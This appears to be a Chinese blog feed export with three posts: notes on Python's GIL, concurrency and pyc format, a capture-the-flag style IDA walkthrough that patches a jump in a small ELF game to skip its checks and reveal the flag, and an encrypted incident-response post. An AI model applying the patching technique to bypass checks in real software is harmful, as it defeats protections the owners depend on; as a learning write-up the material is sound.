<h1 id="Python-多线程-多进程-协程"><a href="#Python-多线程-多进程-协程" class="headerlink" title="Python 多线程 多进程 协程"></a>Python 多线程 多进程 协程</h1><h2 id="GIL——Global-Interpreter-Lock"><a href="#GIL——Global-Interpreter-Lock" class="headerlink" title="GIL——Global Interpreter Lock"></a>GIL——Global Interpreter Lock</h2><p>如果要谈python的多线程、多进程、协程，那么必须要先说一下GIL（Global Interpreter Lock——全局解释器锁）。GIL主要是用来保护访问Python对象的互斥锁（当多个线程同时去请求同一个对象是如果没有进行锁的操作会导致数据异常）。许多时候说到GIL都是直接跟python做了绑定关系，容易造成GIL是python的语言特性，其实，GIL并不是python的语言特性，而是CPython解释器特性（根据名字也可以知道）。由于GIL的关系导致python在同一时刻只有一个线程在运行，这就是大家为什么说python的多线程“无用”的原因。</p>
<p>python解释器：</p>
<ul>
<li>CPython：官方默认解释器，由C语言开发，有GIL</li>
<li>IPython：基于<code>CPython</code>开发的交互式解释器，只是增强了交互功能，执行功能与<code>CPython</code>完全一样</li>
<li>PyPy：JIT（Just-In-Time Compiler 即使编译器），对python代码进行动态编译，有GIL</li>
<li>Jython：Java平台的python解释器，依赖java，无GIL</li>
<li>IronPython：.Net平台的python解释器，依赖.Net平台，无GIL</li>
</ul>
<p>Ps：解释器跟编译器大概的区别：解释器立即执行代码、编译器为执行准备源码。</p>
<p>GIL可以理解为线程运行许可证，只有当线程拿到GIL时，这个线程才会进入CPU进行运行。那么如果运行CPU密集运算型任务时，多线程没有正面效果（有可能反面效果）。</p>
<h2 id="多核CPU多线程-lt-单核CPU多线程"><a href="#多核CPU多线程-lt-单核CPU多线程" class="headerlink" title="多核CPU多线程&lt;单核CPU多线程"></a>多核CPU多线程&lt;单核CPU多线程</h2><p>每个CPU在同一时间只能运行一个线程 并发、非并行 </p>
<p>在python多线程中，每个线程执行方式：</p>
<ol>
<li>获取GIL</li>
<li>执行代码直至sleep或者python虚拟机将其挂起</li>
<li>释放GIL</li>
</ol>
<h3 id="Python2-x"><a href="#Python2-x" class="headerlink" title="Python2.x"></a>Python2.x</h3><p>在python2.x中，GIL释放逻辑是当前线程遇到IO操作或者ticks计数为100。ticks可以理解为python专用做于GIL的计数器，解释器指令，每次释放后归零，可通过sys.setcheckinterval来调整。</p>
<h3 id="Python3-x"><a href="#Python3-x" class="headerlink" title="Python3.x"></a>Python3.x</h3><p>在python3.x中，GIL释放逻辑不使用ticks进行计数，改用计时器，执行时间达到阀值（5毫秒），当前线程释放GIL。</p>
<hr>
<p>当GIL释放后，多核CPU上的线程开始竞争GIL</p>
<p>单核模型</p>
<p>A线程获取GIL——A线程运行——A线程释放GIL——B线程获取GIL——B线程运行——B线程释放GIL···</p>
<p>多核模型</p>
<p>CPU0:</p>
<p>A线程获取GIL——A线程运行——A线程释放GIL————B线程获取GIL——————线程B释放GIL——线程C获取</p>
<p>CPU1:</p>
<p>—————————————————————唤醒线程Q——线程Q等待——线程Q切换成待调度——唤醒线程W——线程W等待</p>
<p>通过上述模型可知多核CPU多线程劣于单核CPU多线程（CPU密集型任务）。</p>
<p>但是在IO密集型任务时多核多线程优于单核CPU多线程，这是因为IO密集型任务主要的时间时消耗在等待中。</p>
<h2 id="GIL历史背景"><a href="#GIL历史背景" class="headerlink" title="GIL历史背景"></a>GIL历史背景</h2><p>python首次出现时间为1990，那时候CPU厂商还在通过提高核心频率来提高计算机性能。但在2000年后遇到天花板，开始转向多核方向来提高计算机性能。所以在一开始设计解释器时，没有想到多核时代这么快就来了。</p>
<h1 id="GIL删除？"><a href="#GIL删除？" class="headerlink" title="GIL删除？"></a>GIL删除？</h1><p>删除GIL有一个关键的难点：许多库依赖GIL，默认线程安全，如果删除去除GIL，那么代价太大。</p>
<h2 id="多进程"><a href="#多进程" class="headerlink" title="多进程"></a>多进程</h2><p>由于多进程每个进程都有一个GIL，某些情况下多进程比多线程好。多进程劣势：</p>
<ul>
<li>相比线程笨重</li>
<li>切换耗时长</li>
<li>多进程数量不推荐超过cpu核心数（一个进程一个GIL，一个GIL跑满一个CPU）</li>
</ul>
<h2 id="协程"><a href="#协程" class="headerlink" title="协程"></a>协程</h2><p>协程是编译器级，进程、线程是操作系统级。进程、线程由OS调度，开发者无法精确的控制。协程实现的是非抢占式调度，即如何调度可由开发者控制。</p>
<p>协程优点</p>
<ul>
<li>轻量、成本小</li>
<li>减少CPU开销</li>
<li>减少同步加锁</li>
<li>同步思维处理异步代码</li>
</ul>
<p>缺点</p>
<ul>
<li>不能有阻塞操作</li>
<li>需特别关注全局变量、对象引用的操作</li>
</ul>
<p>协程是基于事件循环方案，</p>
<h1 id="Python源码保护"><a href="#Python源码保护" class="headerlink" title="Python源码保护"></a>Python源码保护</h1><p>python源码文件py格式，字节码文件pyc、pyo等类型，pyc、pyo这些由解释器所生成的字节码文件，然后解释器再执行字节码文件。因此，可以通过重构一下python解释器来对python源码进行保护。</p>
<h2 id="Pyc"><a href="#Pyc" class="headerlink" title="Pyc"></a>Pyc</h2><p>pyc文件由三部分组成</p>
<ul>
<li><p>最开始4个字节是一个Maigc int, 标识此pyc的版本信息, 不同的版本的 Magic 都在 <code>Python/import.c</code> 内定义</p>
</li>
<li><p>接下来四个字节还是个int,是pyc产生的时间(TIMESTAMP, 1970.01.01到产生pyc时候的秒数)</p>
</li>
<li><p>接下来是个序列化了的 PyCodeObject(此结构在 <code>Include/code.h</code> 内定义),序列化方法在 <code>Python/marshal.c</code> 内定义</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* Magic word to reject .pyc files generated by other Python versions.</span></span><br><span class="line"><span class="comment">   It should change for each incompatible change to the bytecode.</span></span><br><span class="line"><span class="comment">   The value of CR and LF is incorporated so if you ever read or write</span></span><br><span class="line"><span class="comment">   a .pyc file in text mode the magic number will be wrong; also, the</span></span><br><span class="line"><span class="comment">   Apple MPW compiler swaps their values, botching string constants.</span></span><br><span class="line"><span class="comment">   The magic numbers must be spaced apart atleast 2 values, as the</span></span><br><span class="line"><span class="comment">   -U interpeter flag will cause MAGIC+1 being used. They have been</span></span><br><span class="line"><span class="comment">   odd numbers for some time now.</span></span><br><span class="line"><span class="comment">   There were a variety of old schemes for setting the magic number.</span></span><br><span class="line"><span class="comment">   The current working scheme is to increment the previous value by</span></span><br><span class="line"><span class="comment">   10.</span></span><br><span class="line"><span class="comment">   Known values:</span></span><br><span class="line"><span class="comment">       Python 1.5:   20121</span></span><br><span class="line"><span class="comment">       Python 1.5.1: 20121</span></span><br><span class="line"><span class="comment">       Python 1.5.2: 20121</span></span><br><span class="line"><span class="comment">       Python 1.6:   50428</span></span><br><span class="line"><span class="comment">       Python 2.0:   50823</span></span><br><span class="line"><span class="comment">       Python 2.0.1: 50823</span></span><br><span class="line"><span class="comment">       Python 2.1:   60202</span></span><br><span class="line"><span class="comment">       Python 2.1.1: 60202</span></span><br><span class="line"><span class="comment">       Python 2.1.2: 60202</span></span><br><span class="line"><span class="comment">       Python 2.2:   60717</span></span><br><span class="line"><span class="comment">       Python 2.3a0: 62011</span></span><br><span class="line"><span class="comment">       Python 2.3a0: 62021</span></span><br><span class="line"><span class="comment">       Python 2.3a0: 62011 (!)</span></span><br><span class="line"><span class="comment">       Python 2.4a0: 62041</span></span><br><span class="line"><span class="comment">       Python 2.4a3: 62051</span></span><br><span class="line"><span class="comment">       Python 2.4b1: 62061</span></span><br><span class="line"><span class="comment">       Python 2.5a0: 62071</span></span><br><span class="line"><span class="comment">       Python 2.5a0: 62081 (ast-branch)</span></span><br><span class="line"><span class="comment">       Python 2.5a0: 62091 (with)</span></span><br><span class="line"><span class="comment">       Python 2.5a0: 62092 (changed WITH_CLEANUP opcode)</span></span><br><span class="line"><span class="comment">       Python 2.5b3: 62101 (fix wrong code: for x, in ...)</span></span><br><span class="line"><span class="comment">       Python 2.5b3: 62111 (fix wrong code: x += yield)</span></span><br><span class="line"><span class="comment">       Python 2.5c1: 62121 (fix wrong lnotab with for loops and</span></span><br><span class="line"><span class="comment">                            storing constants that should have been removed)</span></span><br><span class="line"><span class="comment">       Python 2.5c2: 62131 (fix wrong code: for x, in ... in listcomp/genexp)</span></span><br><span class="line"><span class="comment">       Python 2.6a0: 62151 (peephole optimizations and STORE_MAP opcode)</span></span><br><span class="line"><span class="comment">       Python 2.6a1: 62161 (WITH_CLEANUP optimization)</span></span><br><span class="line"><span class="comment">       Python 2.7a0: 62171 (optimize list comprehensions/change LIST_APPEND)</span></span><br><span class="line"><span class="comment">       Python 2.7a0: 62181 (optimize conditional branches:</span></span><br><span class="line"><span class="comment">                introduce POP_JUMP_IF_FALSE and POP_JUMP_IF_TRUE)</span></span><br><span class="line"><span class="comment">       Python 2.7a0  62191 (introduce SETUP_WITH)</span></span><br><span class="line"><span class="comment">       Python 2.7a0  62201 (introduce BUILD_SET)</span></span><br><span class="line"><span class="comment">       Python 2.7a0  62211 (introduce MAP_ADD and SET_ADD)</span></span><br><span class="line"><span class="comment">.</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure></li>
</ul>
<p>PyCodeObject包含了python代码中所有内容：字符串、常量值以及字节码指令等等</p>
]]></content>
      <categories>
        <category>Code</category>
        <category>Python3</category>
      </categories>
      <tags>
        <tag>Code</tag>
        <tag>Python3</tag>
      </tags>
  </entry>
  <entry>
    <title>IDA动态调试-ELF</title>
    <url>/archives/260d9dca.html</url>
    <content><![CDATA[<p>使用IDA对ELF文件进行简单的动态调试。</p>
<p><img data-src="https://i.loli.net/2020/05/14/lmWx6FuG83Meqz4.png" alt="hero"></p>
<span id="more"></span>

<h1 id="程序流程"><a href="#程序流程" class="headerlink" title="程序流程"></a>程序流程</h1><p>将文件下载到本地之后使用编辑器打开，可以看到是一个ELF文件。放在Linux下运行，可知道是一个”打怪”的一个小程序：需要通过打怪提高战斗力，最后杀死巨龙。</p>
<p><img data-src="https://i.loli.net/2020/05/14/2RM7vKZY8VuTrfI.png" alt="hero"></p>
<p>根据信息可得知需要Combat超过一定数值才行，思路大概可分为以下几种：</p>
<ol>
<li>正常运行，慢慢升级，直至通关；</li>
<li>静态修改ELF文件中的特定值，如coins、Combat等；</li>
<li>动态调试，将逻辑判断nop掉。</li>
</ol>
<p>这里选择通过IDA进行动态调试进行pass。</p>
<h1 id="静态分析"><a href="#静态分析" class="headerlink" title="静态分析"></a>静态分析</h1><p>使用IDA打开该文件，可以发现几个关键函数：decrypt1、decrypt2、decrypt3、outflag、slime、boss、store等</p>
<p><img data-src="https://i.loli.net/2020/05/14/HREzw7MABFkolUh.png" alt="ida"></p>
<p>由于已经知道需要打怪才能获取flag，那么直接查看boss函数的伪代码(F5)</p>
<p><img data-src="https://i.loli.net/2020/05/14/dAH9n7DTzUfXGwj.png" alt="ida"></p>
<p>可以看到需要打三次boss才能成功获取flag，那么只需要将三次的if判断语句跳过即可。</p>
<h1 id="动态调试"><a href="#动态调试" class="headerlink" title="动态调试"></a>动态调试</h1><p>在IDA视图跳转至main函数之后，在main函数下一个断点，然后启动debug，这里选择Remote Linux debugger，之后需要配置程序目录、hostname、password等。</p>
<p><img data-src="https://i.loli.net/2020/05/14/2BFJCqutypW5Af7.png" alt="ida"></p>
<p>在Linux虚拟机中运行<code>ifconfig</code>获取IP地址，之后运行<code>./linux_server64</code>。Ps：该文件来自IDA dbgsrv目录。之后将ip填入hostname，将Linux用户密码填入Password，并将程序放置Linux虚拟机中指定位置，如&#x2F;root&#x2F;桌面，最后将信息填入对应文本框</p>
<p><img data-src="https://i.loli.net/2020/05/14/S9VDg2sdIr8AUwi.png" alt="ida"></p>
<p>启动debug，可以看到程序被成功断在刚刚下断点的位置，之后通过单步或者直接查看boss函数的地址，将断点设在boss函数入口</p>
<p><img data-src="https://i.loli.net/2020/05/14/eHvdWjZl6TYa7uX.png" alt="ida"></p>
<p>在Linux中输入2，使其运行至boss函数，在IDA中单步运行至4015FE地址，发现会jle至401628地址，通过【Edit】-【Patch program】-【Patch Bytes】将第一位字节修改成74，使其不跳转。之后可以看到程序会运行至第一个解密函数decrypt1</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jle 是指有符号小于等于则跳转</span><br><span class="line">jz  是指为 0 则跳转</span><br></pre></td></tr></table></figure>

<p><img data-src="https://i.loli.net/2020/05/14/EeQKGHltvhu9yij.png" alt="ida"></p>
<p>之后再重复两次该操作即可获取flag</p>
<p><img data-src="https://i.loli.net/2020/05/14/OhzDopY2xH1cmFs.png" alt="hero"></p>
]]></content>
      <categories>
        <category>安全</category>
      </categories>
      <tags>
        <tag>工具</tag>
      </tags>
  </entry>
  <entry>
    <title>某擎应急响应</title>
    <url>/archives/3f861046.html</url>
    <content><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">
  <script id="hbeData" type="hbeData" data-hmacdigest="00211d676db274b200374f74edf0e4f13debe11496dfe01c951b5d05d2ccd800">cd639bcf68040a108bb358c54d72daf64f595767103bf7610409d4c63fe5ff6e974f8afbe3db13c3985fc9a95b01f2494adc29bf85cb2e5287e81daa36f24542627207de557a40ebd941350114de496bc0fd47e7804277739277d409be8a213fa885fe991cf1331147e35d0a373df967fedb6cf3258b8748bc187b5de4aadb0c1d7034670ca843c3ec9d9767d18867cee8fff35a22775da4365d2c1bd555f29d4568eed973792383f465f569ea0a681a2d79e8e850c31a7f8cbb0130b7598efef352dd6d952dd616922bdaca8c7aa7f091fad4245bc7d52fff45ea5808e188e16bd29529192378f6da8f6b0b5b613200d9707f42c2332bdc14378da9a16e85e30319c000aa276b2ba54ccc2d411df40138382ea59b0f0795e5abca8c1960e384e813bc19badec83fd15cd627e0e756f5835942c16be0f8d91390d57d5a808ceb33b5b49fac12b5085b11fa6aad2d8d705ad582bf4d123e65e9b2f3d07ba8f0888f753bedce71d90878020965b131dd621854cf43e2232a751768fbb448a27f3504637271e7c755d5b13bf987103a6dce0402b6c1afbd5997618818eead58cc1ec23ddbe5bb7cecb29431b14ef44cb6ddc10e9973d20334f9dbd7e88df293e58bc6b8b461774cfc319e37298e1a149078cace130fd670ceaa99748d47eb3843f537fb6c67b9317d531a0e19f3c5c25df1437fad4b46f28a33bc441944e8d8b00e95dda9a43d8cdf3819c811da2d3fe6f9af32876b39add2d49a989bbb15b31899393e83ad29eea4305071472a35a2520e0b9fa59816e9ed62c87593bb70869ade6f705d05233f4bc230f4c997f5c7d7702743c1817d4abf1f7158da4d2d0541226ad21e172ec753052e26e6c41123117f49bb6db247ff051e54ba1ca3669020a26b3372b8ac041390f6c323d17215f106845ba3a03ef5858263861e34fe45c33e7d3ed14f3f8a060981d85e6f7d6e83fe1edeb9ede52239e91fcee75cd2b346dfd702031bf6edaac71957e7e40a2291c0787d02b6e94b596cf009253e6f66cda202aa26893e2a6e7ba017c81b0fdc55fb61937fa983ca44b5bc2b862e76a58140c6ceea32679d3c7688bf365d52a4760aa54c73cb4c3aaa7017ef827e3e1cdbc44d23d24fa511d6d3ca0cfc79891356beb31a659de0babf84dc66f760f83c38b5c403a58a967fc9f9718a25302efffef164ca2842461d9eb9bc6c9db62a54c812e574c2c197bb8185463d6e400fff770702c6db95f385195142d7a777497cd276f1cac6bbdcfc32e357ab593953495202080a5a846afbcc839614977ca0a8688aaa88c1b673f65a58781f343d1d378a9744e3f3682b5be26f214e8357a87131793d219dbf696a22a08a592de742ea3c2ebbfee4d96c76ec4aace9919581cb68c72f127032dd386b53c0172174807dcb11c565282a0f84d0bab0f53d87ee18dd547ce8e245fd093414259a87a2c1c3cd266d18b214346115856b2f268dc6a7153ccdf9d0391e5ddf3bafc12c19a5bd3e0f16d1773e0d91e0bcc87b728a1d59a1e421d42df1c2b4c73d2f63e3065bee51140f5540543c39ea73b928cfb1f057c4306303cd7744d8b3c5ee6f26ae6833e66f9a9d42ac997fad5a917569a6b2105b039b1ee2066b3b6786f65fa21186d7b634f1ee881da9af24e501954dd71463cbd33a2ac126a9a0a4c860f3dcb3d9b45a9544249b8856206191b276d5e29ff2bc3635b9809f0a3067e1f469fd1b9934e6edcf74eb308df46bb7ca078ff7d6c5521e52a59104de3d5f19d1d7e4a138d5acf147367ff9fc9b33187a34eec78efac988c29068b7b3c777567f509c90effd815dc4e7a7d4f21faac03e369087ce94af6211d0dd0a8653e53af104012a9a6f3a3b5418f0cc9fd0a85a9ab487488d86bd6fd970ff42c559facd4cb3f62136e3d11d17c2a474d6629462e9d0734aedc56be84bc7ddeebd7bc0d972e4aed5a6442f19757435cb2c9e34a51b18187d0bf3e6c7152c62901913704e80d41214ff18215e349c9d70961b687251345da3163f16a2ff71d3a4427eac058c37fa53b7eb3931dadd0c4cbe74bb2905101ca45a3da03b24c5c56b119900db9b254ad1661b71d2ac01370d335afa66e6f4fdbb8b2067d7c4c684c941f021f75210a5356793206e7b6d8faecccdb7f187d14dcf9a90184b2b395753ef49a15b1395b956a7ee853230abe875a1605f461e1cd29f93c0a0540aef29db28ce14b1635c54f04d944516c065e6c5430457e6eb74a6a2a32ab464fa162bab8544017272994e0d93813f91b44985ce7f92bab528debd1467dbe3f30484021bab661b1f4f7f2aa87988508b2cdf794159f4c19fdf2fbb2b88311da5e01ec7e77715e4dcade7f37cc22cd6961bb18134874cb1e74d419b627f1e34bd2b8764c84b3a90d86635f6360d55c4f28aee7f92b6c3a29fb8625faf5e0a6dcffad3253f961b2de50d49c0497758c59d3d29247a2917571518c5ebb7730e1ce037a3d06eb0975994bb2942aec7fab74817852a6decd5879c4d043f5f5cdd6b052f8b00eed272a38b9e75fc6fec1b00bc514b0d1cf036bf8c42a719596e20f89a8cc0aa1f7464628494a898406f0376f6797c370189c6385b568dcdfc654e79d0842d2f1e9c2f0911eb5ae1af544a37d3db4927856b65a835596a7116b086187406e125159c3533e642ff7f65a0fb2b5407fe7b8a7fb4dee6e30fcce25a5bd95c60c6580d28d30bd7cc6acff2aa266d23bde778df416393ac95cdc5e7607a581527470bd69b17f61503aa19cf89854d69aa9583ebcaef29122e590fde106ece73d1dd1286a74d9bde87f085608779f5dd7dabdfd16f757cdfe272d59c2d791547cd85e1633453cdb17d01350c8684f277c6b84f2251cd1c471dfa2320e04ce8144cb0094499410da0362c5d3911bed646e6343d0ebe18e3431b4f5a08b737ccb4236b3137f95aea5e4415b5bf47623135cac3df42e4f43440c3a49ced5913fb1ff265f58c2639a75b858c821d502e372c4e1503befe888dd42185eed05ca7553b970e6bbce129c4c9d057f4c7929c19ef7a826e2fc45435252c2e879b9e10c741bfbeb8683a672308620d1a7f5bfdca8a0d34536ddc3004f33d14e125927d4221ef5e9ef2e9d60ca7e3cda152f5ffb96ccc2c984c1168756c6e5109b12d093b8f08fc80941563736c187ed4b4f27f519962abf3b2d071474c79bc1bbaf08402b6274637ef956b59d675575a7cef310944ec521bd210d02b5c0de339b76bb7921da3f83fc66f46623a16143795e9d80ac6f218f0fb58450e6214d6851f011be51aec3a73c7347a0c1d48545f5c728c8fdc316f4dceaba1cf8450904cda171af3b77af1e3f98ca92d117a70bf76f800cb74eeea7a6d25b6d4319dece8d45a15dbd854baeae9382588ecda829550c4a4fa8806079d788e2b796adf2accef6d5fcde6bc510df511e89db71c86945bfce5a2948b22096cac3b6c74a75af47c7d33dab6635568f766a87f1be8a78ab28e0493d24c8dcab009981b5b11d6bdcac3eb501efdb2e628c617f81b2af91d2f794009925fb86410c709220a54dca0e47281489265d563bac612d29e09df7082453bca711d1fbc908ddfe70bad47e6fe6dfa8714a51af53d2d50f56a9b07d9ab458120dae64a187720e7528bc36b5432aaee49016cf046aa70e97c879be82c715e956969dd645593ff149ba5749a50e05be28371cb50b79b15f3b17fc8a4ab6f803334c7ef8837415f026b7887c3d9b317b4461286a56a3d615cdb628a9675c04cb5c3390c5e7a7f630f29ab3b24bcbe0099b52e7fdd09d091da45cefc6dcb8234b5f94a6a37fea69d15057b60f8ba493a7d96c634384bbb8bdb132f50b757b7c923aabb1eb5f9e63eb983265c1aa0c54f79341b902c9da36e541c2f8a3f37c228c51371a86de5b54a3ddaf974afdb6e9f6831233e8ad102286b0f0a0dca4bac7b1c59cd71c65f8f0c73801b39a164179aa98e800b0c00e107b6a8f7e7903a04f14aa35f4da86d030362a064b8ee8dc97557136a7fec0fd8291f4451c7a5640865406650bd6dfc07c284929c20b31a0eaee681fa2d90b2007ff44a11af847e8a0eff68ea56ce59d96dcbb563f942f611ae6484015c466de7e05c92951117e48718904b5ca6183c707eb601aee18aecc68511075bb41c15b3de53505f5b37538b1351bdd344984befcceaf6fbb7be1a631c672d6d335e570e0693a89f1b11225b883d70ec663dac6c37df588360e2b53a4a5bed78aae486e710c9f9a7cf62f6464a8e60ee6a322cddbfd0711b4a85c53a6f780b493d874d63bbe47c5705e5e8018c40c1a4f3084149d80fe77f2b16890fd82e2de820024f848cecee250823ff7c2be88b716b27a3d0953235da2bb3796512c716c9056e36db2d7379913f31e1fb41c18782946cbc87c362b468d489d8fc8873a86d268b7f1ed0730307752bc6b29bb5afbda0490a39d66f968cd4bfb86c383f469ab1bb510871ad0ba8c154b23c9a9f7fee2ddae31436b5294e30c24379a5d536a53dfe5eb4ecfad3fe19f72f26acd4f2374aaeadc4040e937266fa35a68c39852979586533fad53ea4b3888307040fadfa79cbe95611409d1a77b492083a63912e1380db4eaff81f446d45f9b967b7ba1c60fc7170efb56a0973a241970c0fd9f851c66384becd09dacf01b64a53882343b806971536efe712228482aeae45b7b7eb886961d0919d72dee1604b8da18080a303ef2458535157d3ed1393dd34947bcb3d28d13a99116aa066eff6a283d578ad1503e5b0763839ce1a1d9ddc57c61ceef48cefdae18070330c61c1a7125820030cf02294570c6064796150cfaa62478c2cc2118fb13ede9e5d9ef4687f2ab019f15cedfe9795e583f752d3ecd555f70dbfdeaffb2cc5704ae72e87c3225d46296691205924322d1ef8200d2b57dbdaa56fafaaf0951e018b5f188e51765e2ff3c4a62d03f9fbad67b4a9405afc53c03909cfc40f0b98ac0f21f5975ad3b51272355b40f00fe55866baaa3b08204c81ebb41d4ae8557015944762f9fd358993c068661a1fbba75eb2499b982cc40c861793ff318aa8f934143a16c8d7f8547928926cbe0fb82d07bc831f93fa2d4cdfeb5fd819278b468af5af719923e9d81d6e1c8f21a0ef2010a4198a5fcd3f817d1ef6fd0ae36a2a8f3d2392944100908bd34dcab590affc4e90dabd4f6c2f895615905de48e094eedb4170e26d03d67de2c7470c9012743e54b415b2f28d13f677e002eb94991a0c52db2ed76d13e2d54da9f3a1541eb8a38d82e80a85f21d93b88c90b477b7c5f05ee24cfef9fe0962d03094cae3e9672f01246345c41c5c1ff2d82e0eb368e0e7b1183dc388812103ee7f4cd3be96af2157d9594eafd6ba5cea8ad46601c76bf7cee4dfec54b894707102d6c4035f3b411a37febb45bd84854c9fb73056e3d1b1fa642b905991d41cd0deeb4b36f81cfe69ef54afeccebe6f4a9721a637f3edf4ba916cfcff810290263b5d2572b1b4bce89b94cefe4fc84f0d460d948aeda21a1249e1220a29eaa7adeff5fc730bd3bf3de12056050f2e801639e0b51e874f73306f1b18c97aaa925e0f34dd8fc4b4967cad5ac75ea18869709188c0d6c82926da2a45a7b3c13fe2cf9f13b185db558742b4951bdd68c578fdb7d337858434bc0f065ac093c094effcd373ddc6ba5a35c28efc312405f415f99b5049c5f46fc88054cee434733131a59a5528aa052eacca0a333d9439487316b5af5e5ae534b4d14fd3bb58fcfcb5d783d3d96104901771a07f0817c5f026d99570bce0da01317d7af3ec5c821c1dbce10e4cc11bc96e3c96b949e62ef45d55a3efd29a9019c2b82d7776e8bf4331766e7714ca9192f4c38a73f0aa64cf734b3d0934286b55f9c3bc723dc635fd2577a87d049a3f56889fd9107e550e553af6fbb518f737ef9d92125bcc9d0ad4c0b0efd4366fb28ce4affe910f3f49a227e8702bb7f51c298234463f88451c453355b76e821dc5ab7a52a64bcf4e1932e2053e10206a95a4721490627883605b7affb123b47c0acd5bad206488d797821ba34fbb18d21271e57eafd9709010b6ce2b418c6abec6b96802c806ab97bf6f5a328bfa658dfb2f22c2a54b44bd77c27d2c8b3cf593930458927042c2a74642e806d80c5769f7549cace327dc6a28a077e49714cb3b154d241c03747ab1d5f0613f4bd4e32fb04baaf171e905b96dbd77c5251e4cd31cc71c892169193ce067184083afb8c49c48ce62a3b50bae8436061cebd53a3ca8c97e73cbea48c4d9732dd78efe3c50a9a4515590f20b5313051a494ad13e87f4c34f8d7ef18bff54bbc52fedc00c65b716a9a8a98a9a54a5160a67a085748a1a32c276a8ffa47bd67f63dcdb8b056cf12983a5cb14ccdb8312b08ab7688cf6894a7556065d5b62a7517f40330840028dfd60ebe408793b262a8358dcb0e74a0baebe1908bcf2d2a3c2af62f59a844826ec7e569bc010ebf824f280941b3f1ab5f239923dc4cbbc06c6a20fda1ad25d51f02348892e5bac1379eddcd44c69ed562fa43a0e3c2de12232f5dcdc2c2279afd1fe7b4a90c7f40bc9c5791af48a0b8ea40a8ca37431049efd7edded9746cc9f143268ecacb97db65277150bef183083107c79d8b23be6e862adab69728a63182cc9d5c61cf1505158f04a57bc5bb6c138a6c0e235686e569e2f49d27212c97871e30bb295c4c26a76e289833fa8a973433457fdacb85365991b9b4ac1f6b1792d4e45bed9e5702ccc4511857792c9a27c9d4ea3f174212ac2c43b4091a63cd9c17c041e6d6d4c25e63f4dae85f5cafe7e3b7d7dd14412e4861261df91c4b0371383cc8f75d1cbe6138e7fce7a5904385a5342fcd71043afe4333454ea8d70f9c0418236676e652132086731dd6f2420abdc44915bfd679474e080123f59b2cf403fb612e24d3702514c7335bdc8ed7242dba284ef44fafaa44e768e4dfd33dbb3b1448598608aa07f5dd33c17b744cf2a42cfe832162f53abd6c62e64959f65a1322e25e1a24674684662f8e55f51feeca252a9d34fed763d1252a4a6326db681f13d2607c8d853d8b996397cd80a9cf3024b298389e6393369e518ac7d5a0c64f50b83578b063ef9d9c41962a4d1d3d8dd2dab419e14a2d4778a4f73694d8fe98fcb244dcf39423d9fba585da08a3c345f7d2ea70219a16b76506af94aba80b435ca5afb383aa1aa7ad3bc4959162b8e91500af856ef2a3371c8108ce487892d94638dd7113571800c3cbac5d61cdb8a0122ff2eeb50c0a7032d749c78205d6d86acb78efd77de04c1049f909978bd49f1b295d2a6f1edce3a691a8ed21719b9c32e2b5e9ed839678beb3563a7e1e67cffebc18bb387f11570022d6fc9ea01dade737792b0fc14fac6c2fbee93192d1444de9e9b7168b412aca7903ac00435b66e963b9f5d911a70e991462ce9672de42d0492555bb22f53f1e64ca6a35f32d72f827a62620b415cec200fc49cc80784ad58fd2734770f34b1a327f8e265aae3befc2dd71d2a7cd932b95994fe3b06da0144ab8a4e34098006cf1993edf85089dd17defd9adb48f832c983af951585cdbd9cd73065546723d644bfe09c17a3738c9baf9e2ca4e6ca0b649a7a0e7093a720d33e5da5a39c9ace2bc29629bd1bb4977ee7b326eb01db190ae23ff2bb25985de5b59fac7dbac3187787efd15f6ca80ce82a825d81a60dee341fb0ad28d62605be84598f11c9506c03fb940b191763e20269e36c95e546e1e4538bb33e3ec66674e582934f2763f88b0c34bd4c8b0e5d3b58d752f83823209a89ea651e496bc76711b6f474f0eb4dbb6ac207e610276b4a6834d602de5bb4b599a97e3262bdd6fcf05acf886c8a7ba543c84ebfd8691472a607706350d1553c762d52b17d12bc7c3a57e5fecc85d82b7da342416baef616d5abc6bae5d074f13eabd6a9fd6f4457c5716a8059312135b6ba4e72cdcc8ffa5e2807e27a4585aee03c75fda65883f8a40163f7bebe22f5b549c64e8baec1da4acc5ffb070fbf30665aee88b6c512a776ec3e8ea00b2c7615fd0756bc1eac5fff8479d0e87309651d19c221edb9d5d33d7d32dfe7ba8f86db4e9f1f2c8af7da316b2b496f21eb219176cecb4a02fd60d1c7306f1599078f7fb9c9d59c7d8994f37cd2abdad5ab00a6033ec5e0926b2fafc1c0b73bb625c5683e8eda6814a31d0e09a1e82844e883804176336927819597429b2173035c27523f7c51e45f51a525e2e2e44cd39a1933b47c401d94942240e202fe7f4575a2f3f6889e92b2d028cf1c3c5d5dd5cb4c58850d2885709628675ccfa0ba1dc6ce12876e4b8eb6d95b169d913db7f5ad002408952f48d687776d2c4a0870a9ca483d4d1b4f6a7258170d4352c69462635ff352576d57833fa8ac3475fde83cd9891a4e542f71894f6b3e02b03b1075fcda3b8bb57b646070c5750c10a1cf794f7dd3646e417f592056f2a9c05588d403560f0e0453e21063f160df478da72b31d2fc964ae876f96c42b5df08999099c81185212784430a4d48c52ec012e065a171437c68294a9c9b370157ae6f6da7ab75196799383995cf5f474bb63ef0441444c4b85040234a801b7e0838021c02b519343d48d71624b9aec8d15714498c68644f37e43e7626f3fafebe26f659be35432879be368d196a35ee1af75b5231ade15eb64b503968ae6ec0b56cda2417172cc210004103f749f0686cdfcb46a7fe89f48918de44c201302c7b604764a227cab1782e708547d2524f389a2182e8fba8e9805fb2e64f4383ea252dd10e7de2753a77691f14a5efad4fe9ec6ba2c25757ac45a319de8cbbcb8fac7729464c939cea35d28a6ec02ac754e97629f668d44e289005e1b4fc9ef9a71b4774614e9391c4c9c5fb9c6606c4c65672b16f12e983e662e5ccb79b96b011ad357b584c353f000a29c7a4586bd6ddb974640207635393ca116d2dcd7ec1d7a633662d2ef1cde481f33932e1aa512b1954746ce8e306b26321aba60806749c047c6656f72574f9d47eca00783243fd7d0401c8c4a98fc77fc9cebec601a3e9da2ef3fe330b31f4542b36366aa949453c32925b18744328b3397fc75b65d5f537fc9781fbf600dbfbe2913766f587773f0f10d2d93caaa7e730ff3bc13f2be516f3293f54dcf0b31ff337512c5844296446d8e64cecaebcf70ccc9537bbb68787c86f03634b5b751f81c081be8d702d65203bd39097d6d7465803ba3f250e34ae5323748311238961a797539c8ceaac181f481dc966f3840edbc856e